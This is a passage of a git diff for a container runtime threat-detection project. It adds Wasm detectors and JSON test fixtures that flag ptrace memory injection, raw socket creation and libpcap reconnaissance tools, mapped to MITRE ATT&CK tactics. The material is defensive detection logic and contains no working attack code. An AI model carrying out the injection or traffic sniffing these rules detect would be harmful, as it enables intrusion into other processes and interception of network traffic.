TriggerCriteria(ctx context.Context, req *api.TriggerCriteriaReq) (*api.TriggerCriteriaResp, error) { + resp := &api.TriggerCriteriaResp{ + Criteria: make(map[string]*api.TriggerCriteriaResp_FuncNames, len(triggerCriteria)), + } + + for k, v := range triggerCriteria { + resp.Criteria[k] = &api.TriggerCriteriaResp_FuncNames{FuncNames: v} + } + + return resp, nil +} + +func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectResp, error) { + // Detector info added to DetectResp because detector info is always correlated to response, thus + // to avoid +1 Wasm call on detect. + resp := &api.DetectResp{ + // Default response indicates that nothing detected (this is redundant and put here just for reference, + // as Severity == api.DetectResp_NONE == 0 when omitted (default zero value)). + Severity: api.DetectResp_NONE, + } + + event := req.GetEvent().GetEvent() + + switch ev := event.(type) { + case *tetragon.GetEventsResponse_ProcessExec: + // Nothing here + case *tetragon.GetEventsResponse_ProcessExit: + // Nothing here + case *tetragon.GetEventsResponse_ProcessKprobe: + kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() + functionName := kprobe.GetFunctionName() + args := kprobe.GetArgs() + + if strings.HasSuffix(functionName, "sys_ptrace") { + if len(args) < 1 { + return nil, fmt.Errorf("unexpected args len, got %d, want >=1", len(args)) + } + req := args[0].GetIntArg() + pid := args[1].GetIntArg() + + switch { + case slices.Contains(ptraceMaliciousRequests, req) && (binaryArgs == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(KprobeInjectionNoArgs, pid, ptraceRequestTypes[req], binary) + resp.Severity = api.DetectResp_HIGH // <-- threat detected + + return resp, nil + case slices.Contains(ptraceMaliciousRequests, req) && (binaryArgs != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(KprobeInjectionDefault, pid, ptraceRequestTypes[req], binary, binaryArgs) + resp.Severity = api.DetectResp_HIGH // <-- threat detected + + return resp, nil + case !slices.Contains(ptraceMaliciousRequests, req) && (binaryArgs == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(KprobeOtherNoArgs, pid, ptraceRequestTypes[req], binary) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + case !slices.Contains(ptraceMaliciousRequests, req) && (binaryArgs != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(KprobeOtherDefault, pid, ptraceRequestTypes[req], binary, binaryArgs) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + } + } + + return resp, nil + + case *tetragon.GetEventsResponse_ProcessTracepoint: + // Nothing here + } + + return resp, nil +} + +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } +} + diff --git a/event-processor/detector/wasm/CS_RT_PTRACE_USE/testdata/negative_wrong_func.json b/event-processor/detector/wasm/CS_RT_PTRACE_USE/testdata/negative_wrong_func.json new file mode 100644 index 00000000..dd1ebe92 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_PTRACE_USE/testdata/negative_wrong_func.json @@ -0,0 +1,32 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/strace", + "arguments": "-p 1234" + }, + "function_name": "__x64_sys_getpid", + "args": [ + { + "int_arg": 4 + }, + { + "int_arg": 4321 + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_PTRACE_USE/testdata/positive_ptrace_poketext.json b/event-processor/detector/wasm/CS_RT_PTRACE_USE/testdata/positive_ptrace_poketext.json new file mode 100644 index 00000000..679003ff --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_PTRACE_USE/testdata/positive_ptrace_poketext.json @@ -0,0 +1,277 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMxOTEwMjI4NzY4MTM4NTc6NzUwNzA1", + "pid": 750705, + "uid": 0, + "cwd": "/root/ptrace", + "binary": "/root/ptrace/exploit", + "arguments": "914", + "flags": "execve clone", + "start_time": "2024-03-21T09:37:29.670264484Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-ubuntu-ptrace", + "container": { + "id": "cri-o://d401cf5283b757aa15aabd23e793c42840d658f1b5457250f32a9aa101371046", + "name": "test-pod-ubuntu-ptrace", + "image": { + "id": "docker.io/library/ubuntu@sha256:a4fab1802f08df089c4b2e0a1c8f1a06f573bd1775687d07fef4076d3a2e4900", + "name": "docker.io/library/ubuntu:focal" + }, + "start_time": "2024-03-21T09:31:26Z", + "pid": 916, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-ubuntu-ptrace", + "workload_kind": "Pod" + }, + "docker": "d401cf5283b757aa15aabd23e793c42", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMxOTA2Njk4Mjk2NTkxODA6NzQ2Mjg4", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_PTRACE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_PTRACE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533756, + "is_host": false + }, + "ipc": { + "inum": 4026533757, + "is_host": false + }, + "mnt": { + "inum": 4026535184, + "is_host": false + }, + "pid": { + "inum": 4026535185, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535185, + "is_host": false + }, + "net": { + "inum": 4026533758, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535186, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 750705, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMxOTA2Njk4Mjk2NTkxODA6NzQ2Mjg4", + "pid": 746288, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-03-21T09:31:36.623109545Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-ubuntu-ptrace", + "container": { + "id": "cri-o://d401cf5283b757aa15aabd23e793c42840d658f1b5457250f32a9aa101371046", + "name": "test-pod-ubuntu-ptrace", + "image": { + "id": "docker.io/library/ubuntu@sha256:a4fab1802f08df089c4b2e0a1c8f1a06f573bd1775687d07fef4076d3a2e4900", + "name": "docker.io/library/ubuntu:focal" + }, + "start_time": "2024-03-21T09:31:26Z", + "pid": 7, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-ubuntu-ptrace", + "workload_kind": "Pod" + }, + "docker": "d401cf5283b757aa15aabd23e793c42", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMxOTA2Njk4MjgzMDIyMzg6NzQ2Mjg4", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_PTRACE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_SYS_PTRACE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533756, + "is_host": false + }, + "ipc": { + "inum": 4026533757, + "is_host": false + }, + "mnt": { + "inum": 4026535184, + "is_host": false + }, + "pid": { + "inum": 4026535185, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535185, + "is_host": false + }, + "net": { + "inum": 4026533758, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535186, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 746288, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "function_name": "__x64_sys_ptrace", + "args": [ + { + "int_arg": 4, + "label": "" + }, + { + "int_arg": 914, + "label": "" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "policy_name": "cs-ptrace-monitoring" + }, + "node_name": "experts-k8s-ptcs", + "time": "2024-03-21T09:37:29.671244063Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_PTRACE_USE", + "severity": "HIGH", + "reason_contains": "ptrace", + "tactics": [ + "TA0003", + "TA0004", + "TA0005" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_RAW_SOCKETS/main.go b/event-processor/detector/wasm/CS_RT_RAW_SOCKETS/main.go index 1df0e5e8..3a1370bb 100644 --- a/event-processor/detector/wasm/CS_RT_RAW_SOCKETS/main.go +++ b/event-processor/detector/wasm/CS_RT_RAW_SOCKETS/main.go @@ -17,18 +17,12 @@ const ( Description = "The detector detects if a raw network socket was created, which may indicate network traffic interception or reconnaissance." Version = 2 Author = "Runtime Radar Team" - - License = "Apache License 2.0" + License = "Apache License 2.0" ) const ( - // Socket Address Family: https://elixir.bootlin.com/linux/latest/source/include/linux/socket.h#L188 - AF_INET = 2 - AF_INET6 = 10 - - // Socket Type: https://elixir.bootlin.com/linux/latest/source/include/linux/net.h#L64 - SOCK_RAW = 3 - SOCK_PACKET = 10 + KprobeNoArgs = "Detected that the special `%s` socket was created by the `%s` process" + KprobeDefault = "Detected that the special `%s` socket was created by the `%s` process, which was started using the `%s` arguments" ) var ( @@ -49,6 +43,52 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0003", + Techniques: []string{ + "T1205.002", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1205.002", + }, + }, + { + Id: "TA0006", + Techniques: []string{ + "T1040", + }, + }, + { + Id: "TA0007", + Techniques: []string{ + "T1046", + "T1040", + }, + }, + { + Id: "TA0011", + Techniques: []string{ + "T1205.002", + }, + }, + } +) + +const ( + // Socket Address Family: https://elixir.bootlin.com/linux/latest/source/include/linux/socket.h#L188 + AF_INET = 2 + AF_INET6 = 10 + + // Socket Type: https://elixir.bootlin.com/linux/latest/source/include/linux/net.h#L64 + SOCK_RAW = 3 + SOCK_PACKET = 10 +) + var ( binaryWhitelist = []*regexp.Regexp{ regexp.MustCompile(`/NetworkManager$`), @@ -59,8 +99,8 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -68,12 +108,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -107,9 +148,9 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe - - function := kprobe.GetFunctionName() binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() + function := kprobe.GetFunctionName() if function != "security_socket_create" { return resp, nil @@ -133,6 +174,19 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Regular RAW sockets if (socketFamily == AF_INET || socketFamily == AF_INET6) && (socketType == SOCK_RAW || socketType == SOCK_PACKET) { + resp.TacticsCovered = mitreTactics + socketTypeSymbolic := "" + switch socketType { + case 3: + socketTypeSymbolic = "SOCK_RAW" + case 10: + socketTypeSymbolic = "SOCK_PACKET" + } + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeNoArgs, socketTypeSymbolic, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeDefault, socketTypeSymbolic, binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected return resp, nil @@ -145,266 +199,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjY5MTYxNzYzNjg0ODk0MTQ6NDA3MjM4Nw==", - "pid": 4072387, - "uid": 0, - "cwd": "/root/raw_socket", - "binary": "/root/raw_socket/a.out", - "arguments": "", - "flags": "execve clone", - "start_time": "2024-05-03T12:23:23.161940060Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-raw", - "labels": [], - "container": { - "id": "cri-o://c50e7f66b70c88b0321e18c42edd8077623ac7b1563cb13400815158ea3b987b", - "name": "test-pod-debian-raw", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-03T12:14:26Z", - "pid": 1499, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-raw", - "workload_kind": "Pod" - }, - "docker": "c50e7f66b70c88b0321e18c42edd807", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjY5MTU2NDU0MDMzMjY2NzA6NDA2NTU5OQ==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533977, - "is_host": false - }, - "ipc": { - "inum": 4026533978, - "is_host": false - }, - "mnt": { - "inum": 4026534087, - "is_host": false - }, - "pid": { - "inum": 4026534088, - "is_host": false - }, - "pid_for_children": { - "inum": 4026534088, - "is_host": false - }, - "net": { - "inum": 4026533979, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026534089, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 4072387, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjY5MTU2NDU0MDMzMjY2NzA6NDA2NTU5OQ==", - "pid": 4065599, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-05-03T12:14:32.196777366Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-raw", - "labels": [], - "container": { - "id": "cri-o://c50e7f66b70c88b0321e18c42edd8077623ac7b1563cb13400815158ea3b987b", - "name": "test-pod-debian-raw", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-03T12:14:26Z", - "pid": 7, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-raw", - "workload_kind": "Pod" - }, - "docker": "c50e7f66b70c88b0321e18c42edd807", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjY5MTU2NDU0MDA1MjI1NjQ6NDA2NTU5OQ==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533977, - "is_host": false - }, - "ipc": { - "inum": 4026533978, - "is_host": false - }, - "mnt": { - "inum": 4026534087, - "is_host": false - }, - "pid": { - "inum": 4026534088, - "is_host": false - }, - "pid_for_children": { - "inum": 4026534088, - "is_host": false - }, - "net": { - "inum": 4026533979, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026534089, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 4065599, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "function_name": "security_socket_create", - "args": [ - { - "int_arg": 2, - "label": "Family" - }, - { - "int_arg": 3, - "label": "Type" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "stack_trace": [], - "policy_name": "raw-socket-monitoring" - }, - "node_name": "experts-k8s-cs", - "time": "2024-05-03T12:23:23.162428452Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_RAW_SOCKETS/testdata/negative_tcp_socket.json b/event-processor/detector/wasm/CS_RT_RAW_SOCKETS/testdata/negative_tcp_socket.json new file mode 100644 index 00000000..99b5aa44 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_RAW_SOCKETS/testdata/negative_tcp_socket.json @@ -0,0 +1,32 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/curl", + "arguments": "https://example.com" + }, + "function_name": "security_socket_create", + "args": [ + { + "int_arg": 2 + }, + { + "int_arg": 1 + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_RAW_SOCKETS/testdata/positive_raw_socket_create.json b/event-processor/detector/wasm/CS_RT_RAW_SOCKETS/testdata/positive_raw_socket_create.json new file mode 100644 index 00000000..dc2193f0 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_RAW_SOCKETS/testdata/positive_raw_socket_create.json @@ -0,0 +1,279 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjY5MTYxNzYzNjg0ODk0MTQ6NDA3MjM4Nw==", + "pid": 4072387, + "uid": 0, + "cwd": "/root/raw_socket", + "binary": "/root/raw_socket/a.out", + "arguments": "", + "flags": "execve clone", + "start_time": "2024-05-03T12:23:23.161940060Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-raw", + "container": { + "id": "cri-o://c50e7f66b70c88b0321e18c42edd8077623ac7b1563cb13400815158ea3b987b", + "name": "test-pod-debian-raw", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-05-03T12:14:26Z", + "pid": 1499, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-raw", + "workload_kind": "Pod" + }, + "docker": "c50e7f66b70c88b0321e18c42edd807", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjY5MTU2NDU0MDMzMjY2NzA6NDA2NTU5OQ==", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533977, + "is_host": false + }, + "ipc": { + "inum": 4026533978, + "is_host": false + }, + "mnt": { + "inum": 4026534087, + "is_host": false + }, + "pid": { + "inum": 4026534088, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534088, + "is_host": false + }, + "net": { + "inum": 4026533979, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534089, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 4072387, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjY5MTU2NDU0MDMzMjY2NzA6NDA2NTU5OQ==", + "pid": 4065599, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-05-03T12:14:32.196777366Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-raw", + "container": { + "id": "cri-o://c50e7f66b70c88b0321e18c42edd8077623ac7b1563cb13400815158ea3b987b", + "name": "test-pod-debian-raw", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-05-03T12:14:26Z", + "pid": 7, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-raw", + "workload_kind": "Pod" + }, + "docker": "c50e7f66b70c88b0321e18c42edd807", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjY5MTU2NDU0MDA1MjI1NjQ6NDA2NTU5OQ==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533977, + "is_host": false + }, + "ipc": { + "inum": 4026533978, + "is_host": false + }, + "mnt": { + "inum": 4026534087, + "is_host": false + }, + "pid": { + "inum": 4026534088, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534088, + "is_host": false + }, + "net": { + "inum": 4026533979, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534089, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 4065599, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "function_name": "security_socket_create", + "args": [ + { + "int_arg": 2, + "label": "Family" + }, + { + "int_arg": 3, + "label": "Type" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "policy_name": "pt-cs-raw-socket-monitoring" + }, + "node_name": "test-k8s-cluster", + "time": "2024-05-03T12:23:23.162428452Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_RAW_SOCKETS", + "severity": "HIGH", + "reason_contains": "SOCK_RAW", + "tactics": [ + "TA0003", + "TA0005", + "TA0006", + "TA0007", + "TA0011" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_RECON_TOOLS/main.go b/event-processor/detector/wasm/CS_RT_RECON_TOOLS/main.go index 381e533d..0c6b5f34 100644 --- a/event-processor/detector/wasm/CS_RT_RECON_TOOLS/main.go +++ b/event-processor/detector/wasm/CS_RT_RECON_TOOLS/main.go @@ -17,18 +17,12 @@ const ( Description = "The detector detects attempts to start applications that use the libpcap library. Such attempts may indicate use of network reconnaissance tools." Version = 1 Author = "Runtime Radar Team" - - License = "Apache License 2.0" + License = "Apache License 2.0" ) const ( - // File access permissions - // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/linux/fs.h#L101 - MAY_READ = 4 - - // Memory page access permissions - // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/uapi/asm-generic/mman-common.h#L10 - PROT_READ = 1 + KprobeNoArgs = "Detected that the `%s` process was started and a library used for network reconnaissance was downloaded" + KprobeDefault = "Detected that the `%s` process was started using the `%s` arguments and a library used for network reconnaissance was downloaded" ) var ( @@ -49,12 +43,33 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0007", + Techniques: []string{ + "T1046", + }, + }, + } +) + +const ( + // File access permissions + // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/linux/fs.h#L101 + MAY_READ = 4 + + // Memory page access permissions + // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/uapi/asm-generic/mman-common.h#L10 + PROT_READ = 1 +) + var ( libPath = glob.MustCompile("*/libpcap.so*") ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -62,12 +77,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -101,7 +117,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe - + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() args := kprobe.GetArgs() @@ -129,6 +146,17 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe path = args[0].GetFileArg().GetPath() if libPath.Match(path) { + resp.TacticsCovered = mitreTactics + switch { + case (function == "security_file_permission") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeNoArgs, binary) + case (function == "security_file_permission") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDefault, binary, binaryArgs) + case (function == "security_mmap_file") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeNoArgs, binary) + case (function == "security_mmap_file") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDefault, binary, binaryArgs) + } resp.Severity = api.DetectResp_MEDIUM // <-- threat detected return resp, nil @@ -141,278 +169,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM4OTAzNTE5ODYwMDYwNTQ6MzM2NjAyNA==", - "pid": 3366024, - "uid": 0, - "cwd": "/", - "binary": 